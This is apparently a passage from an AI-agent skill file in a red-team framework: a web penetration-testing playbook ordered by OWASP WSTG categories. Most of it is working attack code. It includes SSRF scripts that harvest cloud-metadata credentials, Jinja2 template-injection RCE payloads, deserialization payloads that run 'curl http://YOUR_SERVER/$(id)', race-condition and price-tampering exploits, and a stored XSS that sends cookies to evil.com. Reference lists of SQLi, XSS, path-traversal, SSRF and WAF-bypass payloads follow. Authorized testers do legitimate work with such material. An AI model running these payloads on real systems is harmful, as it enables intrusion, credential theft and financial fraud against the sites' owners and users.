# WSTG-INPV-19: Server-Side Request Forgery
SSRF_ENDPOINTS=(
  "url" "link" "src" "source" "target" "redirect" "uri" "callback"
  "fetch" "webhook" "import" "proxy" "path" "load" "reference"
)

for param in "${SSRF_ENDPOINTS[@]}"; do
  # Cloud metadata
  for meta in \
    "http://169.254.169.254/latest/meta-data/" \
    "http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
    "http://metadata.google.internal/computeMetadata/v1/?recursive=true" \
    "http://169.254.169.254/metadata/v1/token"; do
    result=$(curl -sk "$TARGET/api/action?$param=$meta" --max-time 5)
    [[ $result == *"ami-"* || $result == *"AccessKey"* ]] && echo "[SSRF] $param -> $meta"
  done
done

# Internal service enumeration via SSRF
for port in 22 80 443 3306 5432 6379 8080 8443 9200 27017; do
  result=$(curl -sk "$TARGET/api/fetch?url=http://127.0.0.1:$port" --max-time 3 -w "%{http_code}")
  echo "localhost:$port -> $result"
done
```

### ADVANCED Steps — SSTI

```bash
# WSTG-INPV: Server-Side Template Injection
# Detection payloads by engine:
# Jinja2/Python: {{7*7}} -> 49
# Twig/PHP: {{7*7}} -> 49
# Freemarker/Java: ${7*7} -> 49
# Velocity: #set($x=7*7)${x} -> 49
# Smarty: {$smarty.version} or {7*7}

for payload in '{{7*7}}' '${7*7}' '#{7*7}' '<%= 7*7 %>' '{{ "a".toUpperCase() }}'; do
  encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
  result=$(curl -sk "$TARGET/search?q=$encoded")
  echo $result | grep -q "49" && echo "[SSTI] $payload works"
done

# Jinja2 RCE
python3 - << 'EOF'
import requests
# Read /etc/passwd via Jinja2 SSTI
payloads = [
    "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}",
    "{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}",
    "{%for c in [].__class__.__base__.__subclasses__()%}{%if c.__name__=='catch_warnings'%}{{c()._module.__builtins__['__import__']('os').popen('id').read()}}{%endif%}{%endfor%}",
]
for p in payloads:
    r = requests.get('https://target.example.com/search', params={'q': p}, verify=False)
    if 'uid=' in r.text:
        print(f'[RCE via SSTI] Payload: {p}')
        idx = r.text.find('uid=')
        print(f'Output: {r.text[idx:idx+50]}')
        break
EOF
```

### EXPERT Steps — Deserialization

```bash
# WSTG-INPV: Insecure Deserialization
# Java deserialization via ysoserial
java -jar ysoserial.jar CommonsCollections6 'curl http://YOUR_SERVER/$(id)' | \
  base64 -w 0 > /tmp/deser_payload.b64

# Send to application
curl -sk -X POST "$TARGET/api/deserialize" \
  -H "Content-Type: application/octet-stream" \
  --data-binary @<(base64 -d /tmp/deser_payload.b64)

# PHP deserialization - magic methods
# If PHP object serialized: O:8:"UserData":1:{s:4:"name";s:5:"admin";}
# Craft malicious object:
python3 - << 'EOF'
import pickle, os, base64

class Exploit(object):
    def __reduce__(self):
        cmd = 'curl http://YOUR_SERVER/$(id)'
        return (os.system, (cmd,))

payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(f'Python pickle payload: {payload}')
EOF

# .NET viewstate deserialization
# Use ysoserial.net
# ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c "curl http://YOUR_SERVER"
```

---

## Category 8: Error Handling (WSTG-ERRH)

### BEGINNER Steps

```bash
# WSTG-ERRH-01: Test for Improper Error Handling
# Trigger various error conditions
for method in GET POST PUT DELETE PATCH; do
  curl -sk -X "$method" "$TARGET/api/users/INVALID_ID_ABC" -I | head -3
done

# Send malformed JSON
curl -sk -X POST "$TARGET/api/login" \
  -H "Content-Type: application/json" \
  -d '{"user": "admin", "pass":' | python3 -m json.tool 2>/dev/null || true

# Send very large payload
python3 -c "print('A'*100000)" | curl -sk -X POST "$TARGET/api/search" \
  -H "Content-Type: application/json" -d @-

# SQL syntax in all common params
for param in id user q search name filter sort order; do
  result=$(curl -sk "$TARGET/?$param=1'")
  echo $result | grep -iE "sql|syntax|mysql|ora-|pg_|exception|traceback|stack trace" && \
    echo "[ERROR LEAK] param: $param"
done

# Check for stack traces in error responses
curl -sk "$TARGET/api/nonexistent" | grep -iE "at .+ \(.+\.java\)|File .+\.py|Traceback|NullPointerException"
```

---

## Category 9: Cryptography (WSTG-CRYP)

### BEGINNER Steps

```bash
# WSTG-CRYP-01: TLS/SSL Configuration
# Using testssl.sh
testssl.sh --severity HIGH --hints "$TARGET" | tee "$OUT_DIR/scans/testssl.txt"

# Quick SSL check with nmap
nmap --script ssl-enum-ciphers -p 443 target.example.com -oN "$OUT_DIR/scans/ssl-nmap.txt"

# WSTG-CRYP-02: Padding Oracle
# Check for CBC mode padding oracle
python3 - << 'EOF'
import requests
# Try flipping bits in encrypted cookie value to check for padding oracle
# Use padbuster or custom script
# padbuster https://target.example.com/account ENCRYPTED_VALUE 8 -cookies "session=ENCRYPTED_VALUE"
EOF

# Check for weak ciphers via curl
curl -sk --ciphers 'NULL' "$TARGET" && echo "[VULN] NULL cipher accepted"
curl -sk --ciphers 'RC4-SHA' "$TARGET" && echo "[VULN] RC4 accepted"

# HSTS check
curl -sk -I "https://target.example.com" | grep -i strict-transport
# Minimum: max-age=31536000
# Good: max-age=31536000; includeSubDomains; preload
```

### INTERMEDIATE Steps

```bash
# Comprehensive TLS audit
sslyze --regular target.example.com:443 | tee "$OUT_DIR/scans/sslyze.txt"

# Check for BEAST, POODLE, CRIME, BREACH, HEARTBLEED, ROBOT
testssl.sh \
  --beast \
  --poodle \
  --crime \
  --breach \
  --heartbleed \
  --robot \
  target.example.com | tee "$OUT_DIR/scans/testssl-vulns.txt"

# Certificate transparency monitoring anomalies
python3 - << 'EOF'
import requests
r = requests.get('https://crt.sh/?q=target.example.com&output=json')
certs = r.json()
for cert in certs[:20]:
    print(f"ID: {cert['id']}, CN: {cert['name_value']}, Issued: {cert['not_before'][:10]}")
# Look for unexpected subdomains or recent suspicious issuances
EOF
```

---

## Category 10: Business Logic (WSTG-BUSL)

### BEGINNER Steps

```bash
# WSTG-BUSL-01: Test Business Logic Data Validation
# Negative values in quantity/price fields
curl -sk -X POST "$TARGET/api/cart/add" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": 123, "quantity": -1, "price": -99.99}'

# Zero values
curl -sk -X POST "$TARGET/api/purchase" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"amount": 0, "items": [{"id": 1, "qty": 1}]}'

# Integer overflow
curl -sk -X POST "$TARGET/api/transfer" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"amount": 9999999999999999}'
```

### INTERMEDIATE Steps

```bash
# WSTG-BUSL-04: Test for Process Timing
# Race condition in limited-use coupon
python3 - << 'EOF'
import requests, threading
session_token = 'YOUR_SESSION_TOKEN'
target = 'https://target.example.com/api/apply-coupon'
coupon = 'SINGLE-USE-COUPON'

results = []
def apply_coupon():
    r = requests.post(target, 
                       json={'coupon': coupon},
                       headers={'Authorization': f'Bearer {session_token}'},
                       verify=False)
    results.append((r.status_code, r.text[:100]))

# Fire 20 concurrent requests
threads = [threading.Thread(target=apply_coupon) for _ in range(20)]
for t in threads:
    t.start()
for t in threads:
    t.join()

success = sum(1 for code, _ in results if code == 200)
print(f'Success count: {success} (should be 1 if protected)')
EOF

# WSTG-BUSL-06: Test for Circumventing Work Flows
# Skip payment step in checkout
SESSION="YOUR_SESSION"
# Step 1: Add to cart
curl -sk -X POST "$TARGET/api/cart/add" -b "session=$SESSION" -d '{"item":1}'
# Step 3: Skip step 2 (payment) and go directly to order confirmation
curl -sk -X POST "$TARGET/api/orders/confirm" -b "session=$SESSION" -d '{"cart_id":"CART_ID"}'

# Price tampering via parameter manipulation
curl -sk -X POST "$TARGET/api/checkout" \
  -b "session=$SESSION" \
  -d "item_id=EXPENSIVE_ITEM&price=0.01&quantity=1"
```

### ADVANCED Steps

```bash
# Time-of-check to time-of-use (TOCTOU) race condition
python3 - << 'EOF'
import requests, threading, time

target = 'https://target.example.com'
token = 'YOUR_TOKEN'
headers = {'Authorization': f'Bearer {token}'}

# Scenario: transfer $100 with $100 balance
# Fire two transfers simultaneously
def transfer(amount, to_account):
    return requests.post(f'{target}/api/transfer',
                         json={'amount': amount, 'to': to_account},
                         headers=headers, verify=False)

# Synchronize thread start using Event
ready = threading.Event()
results = []

def do_transfer():
    ready.wait()
    r = transfer(100, 'attacker_account')
    results.append((time.time(), r.status_code, r.json() if r.headers.get('content-type','').startswith('application/json') else r.text[:50]))

threads = [threading.Thread(target=do_transfer) for _ in range(10)]
for t in threads:
    t.start()
ready.set()  # Start all simultaneously
for t in threads:
    t.join()

for ts, code, data in results:
    print(f'{code}: {data}')
EOF

# Loyalty points exploitation
# Buy -> earn points -> refund -> points not reversed
python3 - << 'EOF'
import requests
s = requests.Session()
s.headers['Authorization'] = 'Bearer YOUR_TOKEN'
base = 'https://target.example.com/api'

# Check initial points
initial = s.get(f'{base}/loyalty/balance', verify=False).json()
print(f'Initial balance: {initial}')

# Purchase (earns points)
order = s.post(f'{base}/orders', json={'items':[{'id':1,'qty':10}]}, verify=False).json()
order_id = order.get('id')
print(f'Order: {order_id}, Points after: {s.get(f"{base}/loyalty/balance", verify=False).json()}')

# Refund (should remove points)
refund = s.post(f'{base}/orders/{order_id}/refund', verify=False).json()
print(f'Refund: {refund}')
print(f'Points after refund: {s.get(f"{base}/loyalty/balance", verify=False).json()}')
EOF
```

---

## Category 11: Client-Side Testing (WSTG-CLNT)

> **Routes to**: `rt-exploit-xss` for deep XSS exploitation

### BEGINNER Steps

```bash
# WSTG-CLNT-01: DOM-Based XSS
# Check URL fragment handling
# Test: https://target.example.com/#<img src=x onerror=alert(1)>
# Test: https://target.example.com/?redirect=javascript:alert(1)

# Find DOM sinks in JS
curl -sk "$TARGET" | grep -oP 'src="[^"]+\.js"' | while read js; do
  curl -sk "$TARGET/$js" | grep -E "document\.write|innerHTML|eval|setTimeout|location\.href|window\.location"
done

# WSTG-CLNT-03: HTML Injection
for payload in '<b>test</b>' '<h1>injected</h1>' '<img src=x>'; do
  result=$(curl -sk "$TARGET/search?q=$payload")
  echo $result | grep -q "$payload" && echo "[HTML INJECTION] $payload reflected unencoded"
done

# WSTG-CLNT-05: CSS Injection
for payload in '}*{background:red' 'body{background:url(//evil.com}' ':root{--x:1'; do
  curl -sk "$TARGET/search?theme=$payload" | grep -q "background:red\|evil.com" && echo "[CSS INJECTION]"
done
```

### INTERMEDIATE Steps

```bash
# WSTG-CLNT-06: Client-Side Resource Manipulation
# Check for open redirect
for payload in \
  'https://evil.com' \
  '//evil.com' \
  '/\evil.com' \
  'https://target.example.com@evil.com' \
  'javascript:alert(1)'; do
  code=$(curl -sk -o /dev/null -w "%{redirect_url}" "$TARGET/redirect?url=$payload")
  echo "Payload: $payload -> Redirect: $code"
done

# WSTG-CLNT-09: Clickjacking
curl -sk -I "$TARGET" | grep -i "x-frame-options\|content-security-policy" | grep -i "frame"
# Missing X-Frame-Options or CSP frame-ancestors -> vulnerable to clickjacking

# Generate clickjacking PoC
cat > /tmp/clickjack-poc.html << 'EOF'
<!DOCTYPE html>
<html>
<head><style>
iframe { opacity: 0.5; position: absolute; top: 0; left: 0; width: 100%; height: 100%; z-index: 2; }
button { position: absolute; top: 200px; left: 300px; z-index: 1; }
</style></head>
<body>
<button>WIN A PRIZE!</button>
<iframe src="https://target.example.com/account/delete"></iframe>
</body>
</html>
EOF

# WSTG-CLNT-10: WebSockets
# Check WebSocket endpoints
# In browser console: 
# var ws = new WebSocket('wss://target.example.com/ws');
# ws.onmessage = function(e) { console.log(e.data); }
# ws.send('{"action":"getUser","id":"1"}');

# WebSocket CSRF (no origin check)
python3 - << 'EOF'
import asyncio, websockets, json

async def test_ws():
    uri = "wss://target.example.com/ws"
    headers = {"Origin": "https://evil.com"}
    try:
        async with websockets.connect(uri, extra_headers=headers) as ws:
            print("Connected with evil origin!")
            await ws.send(json.dumps({"action": "getAdminData"}))
            resp = await ws.recv()
            print(f"Response: {resp}")
    except Exception as e:
        print(f"Failed: {e}")

asyncio.run(test_ws())
EOF
```

### ADVANCED Steps

```bash
# Prototype Pollution
python3 - << 'EOF'
import requests
# Test prototype pollution via query parameters
payloads = [
    '?__proto__[admin]=true',
    '?constructor[prototype][admin]=true', 
    '?__proto__.admin=true',
]
for p in payloads:
    r = requests.get(f'https://target.example.com/api/user{p}', verify=False)
    print(f'{p}: {r.status_code}')
# Confirm: access /api/admin after pollution
EOF

# PostMessage vulnerabilities
# In browser console, listen for all postMessages:
# window.addEventListener('message', function(e) { console.log(e.origin, e.data); });
# Check if app uses postMessage without origin validation

# SubResource Integrity (SRI) bypass
curl -sk "$TARGET" | grep -oP '<script[^>]+src="https://cdn[^"]*"[^>]*>' | grep -v integrity
# Missing integrity= attribute -> CDN compromise attack surface
```

---

## Category 12: API Testing (WSTG-APIT)

> **Routes to**: `rt-exploit-api` for deep API exploitation

### BEGINNER Steps

```bash
# WSTG-APIT: REST API Discovery
# Common API documentation endpoints
for path in \
  /api/docs /api/swagger /api/swagger.json /api/swagger.yaml \
  /swagger-ui.html /openapi.json /openapi.yaml \
  /api/v1 /api/v2 /api-docs /graphql /graphiql; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" "$TARGET$path")
  [[ $code != "404" ]] && echo "[$code] $TARGET$path"
done

# GraphQL introspection
curl -sk -X POST "$TARGET/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name } } }"}' | python3 -m json.tool

# REST API verb tampering
API_ENDPOINT="$TARGET/api/v1/users/123"
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
  echo -n "$method: "
  curl -sk -X "$method" "$API_ENDPOINT" -H "Authorization: Bearer $TOKEN" -I | head -1
done
```

### INTERMEDIATE Steps

```bash
# API versioning bypass
# If v2 has fixed a vulnerability, try v1
for version in v1 v2 v3 beta alpha; do
  echo -n "/api/$version/admin/users: "
  curl -sk -o /dev/null -w "%{http_code}" "$TARGET/api/$version/admin/users" \
    -H "Authorization: Bearer $LOW_PRIV_TOKEN"
  echo
done

# Mass assignment via API
curl -sk -X POST "$TARGET/api/v1/users/register" \
  -H "Content-Type: application/json" \
  -d '{
    "username": "newuser",
    "password": "Password1!",
    "email": "new@user.com",
    "role": "admin",
    "is_admin": true,
    "plan": "enterprise",
    "credits": 999999
  }'

# GraphQL depth/complexity DoS
curl -sk -X POST "$TARGET/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ users { friends { friends { friends { friends { friends { id name } } } } } } }"}'

# GraphQL batch query attack (rate limit bypass)
python3 - << 'EOF'
import requests, json
target = 'https://target.example.com/graphql'
# Send 1000 queries in one request
queries = [{"query": f"query q{i} {{ user(id: {i}) {{ id email }} }}"} for i in range(1, 1001)]
# Batch as array
r = requests.post(target, json=queries, verify=False)
print(f'Status: {r.status_code}, Emails found: {r.text.count("@")}')
EOF

# API key in various locations
for header in \
  "X-API-Key: TEST" \
  "Authorization: ApiKey TEST" \
  "api-key: TEST" \
  "X-Access-Token: TEST"; do
  curl -sk "$TARGET/api/sensitive-data" -H "$header" -I | head -1
done
```

### ADVANCED Steps

```bash
# GraphQL IDOR
curl -sk -X POST "$TARGET/graphql" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $LOW_PRIV_TOKEN" \
  -d '{"query":"{ user(id: \"OTHER_USER_ID\") { id email creditCard { number cvv } } }"}'

# API endpoint fuzzing with parameter discovery
# Param Miner equivalent via ffuf
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt \
  -u "$TARGET/api/user?FUZZ=test" \
  -H "Authorization: Bearer $TOKEN" \
  -fs 0 -mc all \
  -o "$OUT_DIR/scans/api-params.json"

# JWT algorithm confusion in API
python3 - << 'EOF'
# kid header injection
import base64, json

def b64url(data):
    if isinstance(data, str):
        data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

# SQL injection via JWT kid claim
header = {"alg": "HS256", "typ": "JWT", "kid": "' UNION SELECT 'secret' --"}
payload = {"sub": "admin", "role": "admin", "iat": 9999999999}
secret = "secret"

import hmac, hashlib
h = b64url(json.dumps(header)) + '.' + b64url(json.dumps(payload))
sig = hmac.new(secret.encode(), h.encode(), hashlib.sha256).digest()
token = h + '.' + b64url(sig)
print(f'SQLi via kid JWT: {token}')
EOF
```

---

## Common Payloads Reference

### XSS Polyglots

```
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
"><img src=x id=dmFyIHg9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7eC5zcmM9Ii8vMTAuMTAuMTAuMS9hIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw== onerror=eval(atob(this.id))>
```

### SQL Injection Payloads

```
' OR 1=1--
' OR 1=1#
' OR '1'='1
admin'--
' UNION SELECT null,null,null--
' UNION SELECT username,password,null FROM users--
1; EXEC xp_cmdshell('whoami')--
' AND SLEEP(5)--
' AND (SELECT 1 FROM (SELECT SLEEP(5))a)--
' AND EXTRACTVALUE(0,CONCAT(0x7e,(SELECT version())))--
```

### Path Traversal Payloads

```
../../../etc/passwd
..%2f..%2f..%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd
....//....//....//etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
..\/..\/..\/etc/passwd
/etc/passwd%00.jpg
```

### SSRF Bypass Payloads

```
http://127.0.0.1/
http://0.0.0.0/
http://0/
http://localhost/
http://2130706433/        (127.0.0.1 as decimal)
http://0x7f000001/        (127.0.0.1 as hex)
http://[::1]/             (IPv6 localhost)
http://[::]0x00/          
dict://127.0.0.1:6379/    (Redis)
file:///etc/passwd
gopher://127.0.0.1:25/    (SMTP)
```

---

## WAF Bypass Techniques

### SQL Injection WAF Bypass

```bash
# Case variation
' UnIoN SeLeCt null,null--
# Comment insertion
' UN/**/ION SEL/**/ECT null--
# URL encoding
%27%20UNION%20SELECT%20null--
# Double encoding
%2527 -> ' after double decode
# Scientific notation for numbers
1e0 UNION SELECT...
# Whitespace alternatives
'%09UNION%0aSELECT%0d--
# MySQL-specific
'/*!UNION*/ /*!SELECT*/ null--
```

### XSS WAF Bypass

```bash
# Tag obfuscation
<ScRiPt>alert(1)</ScRiPt>
<svg/onload=alert(1)>
<svg	onload=alert(1)>   (tab instead of space)
<img src onerror=alert(1)>
# Event handler variation
<body onpageshow=alert(1)>
<details open ontoggle=alert(1)>
<input autofocus onfocus=alert(1)>
# Character encoding
<script>alert(1)</script>
<script>eval('\x61lert\x281\x29')</script>
# Template literals
<script>`${alert(1)}`</script>
# Protocol bypass
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(1)">click</a>
```

### Generic WAF Bypass Headers

```bash
# IP spoofing headers (if WAF trusts these)
curl -sk "$TARGET/admin" \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "X-Real-IP: 127.0.0.1" \
  -H "X-Originating-IP: 127.0.0.1" \
  -H "X-Remote-IP: 127.0.0.1" \
  -H "X-Client-IP: 127.0.0.1"

# Content-Type confusion
curl -sk -X POST "$TARGET/api/data" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "data=%3Cscript%3Ealert(1)%3C/script%3E"

# HTTP/2 to HTTP/1 downgrade (via h2c smuggling)
# Use h2csmuggler tool
python3 h2csmuggler.py -x "$TARGET" "http://127.0.0.1/internal"
```

---

## Real-World Engagement Examples

### Example 1: Authentication Bypass via SQL Injection

```bash
# Target: Healthcare portal login
# Discovery: Login form not parameterized
curl -sk -X POST "https://target.example.com/login" \
  -d "username=admin'--&password=anything"
# Result: Logged in as admin - SQL comment bypassed password check

# Impact: Access to patient records
# CVSS: 9.8 Critical
# Fix: Parameterized queries
```

### Example 2: IDOR Leading to PII Exposure

```python
# Target: E-commerce platform
# Discovery: Predictable order IDs in sequential format
import requests

token = "low_priv_user_jwt_token"
headers = {"Authorization": f"Bearer {token}"}

# Our order ID is ORD-10542
# Enumerate nearby orders
for i in range(10500, 10600):
    r = requests.get(f"https://target.example.com/api/orders/ORD-{i}",
                     headers=headers, verify=False)
    if r.status_code == 200:
        data = r.json()
        print(f"ORD-{i}: {data.get('customer_email')} - ${data.get('total')}")

# Result: Full order history of other customers
# Impact: PII exposure (name, address, email, payment last 4)
# CVSS: 7.5 High
```

### Example 3: Stored XSS in Admin Panel

```bash
# Target: SaaS platform - user profile name field
# Payload stored and rendered in admin user list
curl -sk -X PUT "https://target.example.com/api/profile" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"display_name": "<img src=x onerror=\"fetch('"'"'https://evil.com/?c='"'"'+document.cookie)\">"}'

# When admin views user list -> cookie exfiltrated
# Result: Admin session token captured -> full account takeover
# CVSS: 8.8 High
```

### Example 4: SSRF to AWS Metadata Service

```bash
# Target: PDF generation service with URL parameter
curl -sk "https://target.example.com/api/generate-pdf?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role"

# Response included AWS credentials:
# "AccessKeyId": "ASIAXXX",
# "SecretAccessKey": "xxx",
# "Token": "xxx"

# Lateral movement:
AWS_ACCESS_KEY_ID=ASIAXXX \
AWS_SECRET_ACCESS_KEY=xxx \
AWS_SESSION_TOKEN=xxx \
aws s3 ls --region us-east-1

# CVSS: 9.0 Critical
```

---

## Integration with RTExit Autodoc Engine

### Finding Record Format

```python
# Template for RTExit finding records
finding = {
    "engagement_id": "RT-2024-042",
    "finding_id": "WEB-001",
    "category": "WSTG-INPV-05",  # WSTG category code
    "title": "SQL Injection in Search Parameter",
    "severity": "Critical",  # Critical/High/Medium/Low/Informational
    "cvss_score": 9.8,
    "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
    "affected_url": "https://target.example.com/search",
    "affected_parameter": "q",
    "proof_of_concept": "curl -sk \"https://target.example.com/search?q=' OR 1=1--\"",
    "evidence": {
        "request": "GET /search?q=' OR 1=1-- HTTP/2",
        "response_snippet": "Error: You have an error in your SQL syntax...",
        "screenshot": "evidence/WEB-001-sqli.png"
    },
    "impact": "Attacker can read/modify entire database, potentially achieve RCE via INTO OUTFILE",
    "remediation": "Use parameterized queries or prepared statements. Implement input validation.",
    "references": [
        "https://owasp.org/www-community/attacks/SQL_Injection",
        "CWE-89"
    ],
    "wstg_reference": "WSTG-INPV-05",
    "tested_by": "operator_handle",
    "tested_date": "2024-01-15"
}
```

### Autodoc CLI Integration

```bash
# Log finding to RTExit
rtexit finding add \
  --engagement "$ENG_ID" \
  --category "WSTG-INPV-05" \
  --severity "Critical" \
  --title "SQL Injection in Search Parameter" \
  --url "$TARGET/search" \
  --param "q" \
  --poc "GET /search?q='+OR+1=1--" \
  --evidence "$OUT_DIR/evidence/WEB-001.png"

# Generate category checklist report
rtexit checklist generate \
  --engagement "$ENG_ID" \
  --standard WSTG \
  --output "$OUT_DIR/docs/checklist.md"

# Export findings to report template
rtexit report generate \
  --engagement "$ENG_ID" \
  --template pentest-web \
  --output "$OUT_DIR/docs/report-draft.docx"
```

### Evidence Collection Script

```bash
#!/bin/bash
# evidence-capture.sh - Capture evidence for RTExit
FINDING_ID=$1
DESCRIPTION=$2
TIMESTAMP=$(date +%Y%m%d_%H%M%S)
EVIDENCE_DIR="$OUT_DIR/evidence"

# Capture HTTP request/response
curl -sk -v "$TARGET/ENDPOINT" 2>&1 | tee "$EVIDENCE_DIR/${FINDING_ID}_${TIMESTAMP}.txt"

# Screenshot (requires cutycapt or similar)
# cutycapt --url="$TARGET" --out="$EVIDENCE_DIR/${FINDING_ID}_screenshot.png"

# Hash for chain of custody
sha256sum "$EVIDENCE_DIR/${FINDING_ID}_${TIMESTAMP}.txt" >> "$EVIDENCE_DIR/hashes.txt"

echo "Evidence saved: $EVIDENCE_DIR/${FINDING_ID}_${TIMESTAMP}.txt"
```

---

## Output and Documentation Instructions

### Per-Category Checklist Template

For each WSTG category, maintain a checklist file:

```markdown
# WSTG-INPV Checklist — [Engagement ID]

## Status Legend
- [ ] Not tested
- [~] In progress
- [P] Passed (not vulnerable)
- [V] Vulnerable — finding logged
- [N/A] Not applicable

## Test Cases
- [V] WSTG-INPV-01: Reflected XSS — Finding WEB-003
- [P] WSTG-INPV-02: Stored XSS — No stored reflection found
- [ ] WSTG-INPV-03: HTTP Verb Tampering
- [V] WSTG-INPV-05: SQL Injection — Finding WEB-001
- [N/A] WSTG-INPV-07: XML Injection — No XML endpoints
```

### Finding Severity Matrix

| CVSS | Severity | SLA for Report |
|------|----------|---------------|
| 9.0-10.0 | Critical | 24 hours |
| 7.0-8.9 | High | 48 hours |
| 4.0-6.9 | Medium | End of engagement |
| 0.1-3.9 | Low | End of engagement |
| 0.0 | Informational | Final report |

### Evidence Naming Convention

```
{FINDING_ID}_{WSTG_CODE}_{TYPE}_{TIMESTAMP}.{EXT}

Examples:
WEB-001_INPV-05_request_20240115_143022.txt
WEB-001_INPV-05_response_20240115_143022.txt
WEB-001_INPV-05_screenshot_20240115_143022.png
WEB-002_ATHZ-02_poc_20240115_152301.py
```

---

## Skill Routing Guide

When to invoke sub-skills:

| Condition | Route to Skill |
|-----------|---------------|
| SQL injection confirmed | `rt-exploit-sqli` |
| XSS confirmed, need to chain | `rt-exploit-xss` |
| SSRF confirmed, need cloud escalation | `rt-exploit-ssrf` |
| Auth bypass needed | `rt-exploit-auth` |
| XXE payload development | `rt-exploit-xxe` |
| IDOR enumeration at scale | `rt-exploit-idor` |
| API-specific attacks | `rt-exploit-api` |
| File upload bypass | `rt-exploit-upload` |
| Deserialization deep dive | `rt-exploit-deser` |

---

## Resources and References

### Official Standards

- OWASP WSTG v4.2: https://owasp.org/www-project-web-security-testing-guide/
- OWASP Testing Checklist: https://github.com/OWASP/wstg/tree/master/checklists
- OWASP Top 10 2021: https://owasp.org/Top10/
- CWE Top 25: https://cwe.mitre.org/top25/

### Tools

- Burp Suite: https://portswigger.net/burp
- sqlmap: https://github.com/sqlmapproject/sqlmap
- ffuf: https://github.com/ffuf/ffuf
- nuclei: https://github.com/projectdiscovery/nuclei
- nuclei-templates: https://github.com/projectdiscovery/nuclei-templates
- jwt_tool: https://github.com/ticarpi/jwt_tool
- testssl.sh: https://github.com/drwetter/testssl.sh
- amass: https://github.com/OWASP/Amass
- subfinder: https://github.com/projectdiscovery/subfinder
- waybackurls: https://github.com/tomnomnom/waybackurls
- gau: https://github.com/lc/gau
- ysoserial: https://github.com/frohoff/ysoserial
- git-dumper: https://github.com/arthaud/git-dumper
- SSLyze: https://github.com/nabla-c0d3/sslyze
- Caido: https://caido.io/

### Wordlists

- SecLists: https://github.com/danielmiessler/SecLists
- PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings
- FuzzDB: https://github.com/fuzzdb-project/fuzzdb

### Learning Resources

- PortSwigger Web Security Academy: https://portswigger.net/web-security
- HackTricks Web: https://book.hacktricks.xyz/pentesting-web
- OWASP CheatSheet Series: https://cheatsheetseries.owasp.org/
- Bug Bounty Bootcamp: https://nostarch.com/bug-bounty-bootcamp

### CVE Databases

- NVD: https://nvd.nist.gov/
- Exploit-DB: https://www.exploit-db.com/
- Vulhub: https://github.com/vulhub/vulhub

---

*This skill is part of the RTExit Red Team Framework. Always operate within authorized scope. Document all activities. Obtain written authorization before testing.*
